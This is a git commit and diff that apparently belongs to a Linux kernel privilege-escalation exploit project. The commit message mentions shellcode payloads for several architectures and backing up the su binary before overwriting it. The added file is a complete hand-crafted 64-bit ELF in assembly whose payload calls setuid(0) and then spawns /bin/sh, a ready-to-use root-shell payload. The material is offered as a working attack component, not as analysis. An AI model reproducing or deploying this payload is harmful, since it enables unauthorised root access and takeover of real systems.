✨feat: allow binary exec and improve documentation

- Added new shellcode payloads for exec-argv1 and exec-bin-sh for amd64, i386, and aarch64 architectures.
- Introduced a backup feature for the su binary before overwriting it.
- Enhanced README.md with usage instructions and details about affected kernels.
- Added build-n-print.sh script for building and printing payloads in hex format.

payloads/exec-bin-sh-amd64.asm

@@ -0,0 +1,56 @@
+BITS 64
+org 0x400000
+
+; --- 64-bit ELF Header ---
+ehdr:
+    db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0
+    dw 2            ; e_type: Executable
+    dw 0x3e         ; e_machine: x86-64
+    dd 1            ; e_version
+    dq _start       ; e_entry
+    dq phdr - ehdr  ; e_phoff (offset to program header)
+    dq 0            ; e_shoff
+    dd 0            ; e_flags
+    dw 64           ; e_ehsize (ELF header size)
+    dw 56           ; e_phentsize (Program header size)
+    dw 1            ; e_phnum (Number of program headers)
+    dw 0            ; e_shentsize
+    dw 0            ; e_shnum
+    dw 0            ; e_shstrndx
+
+; --- Program Header (PT_LOAD) ---
+phdr:
+    dd 1            ; p_type: PT_LOAD
+    dd 5            ; p_flags: PF_R | PF_X (Read + Execute)
+    dq 0            ; p_offset
+    dq 0x400000     ; p_vaddr
+    dq 0x400000     ; p_paddr
+    dq file_end - ehdr ; p_filesz
+    dq file_end - ehdr ; p_memsz
+    dq 0x1000       ; p_align
+
+; --- Payload ---
+_start:
+    ; setuid(0)
+    xor    eax, eax
+    xor    edi, edi
+    mov    al, 0x69
+    syscall
+
+    ; execve("/bin/sh", NULL, NULL)
+    lea     rdi, [rel sh]       ; 48 8d 3d 0f 00 00 00    rdi -> "/bin/sh"
+    xor     esi, esi            ; 31 f6                   rsi = 0 (argv = NULL)
+    push    0x3b                ; 6a 3b                   push SYS_execve
+    pop     rax                 ; 58                      rax = 59
+    cdq                         ; 99                      rdx = 0 (envp = NULL)
+    syscall                     ; 0f 05                   execve("/bin/sh", 0, 0)
+
+    ; exit(0)
+    xor    edi, edi
+    push   0x3c
+    pop    rax
+    syscall
+
+sh:  db "/bin/sh", 0
+
+file_end: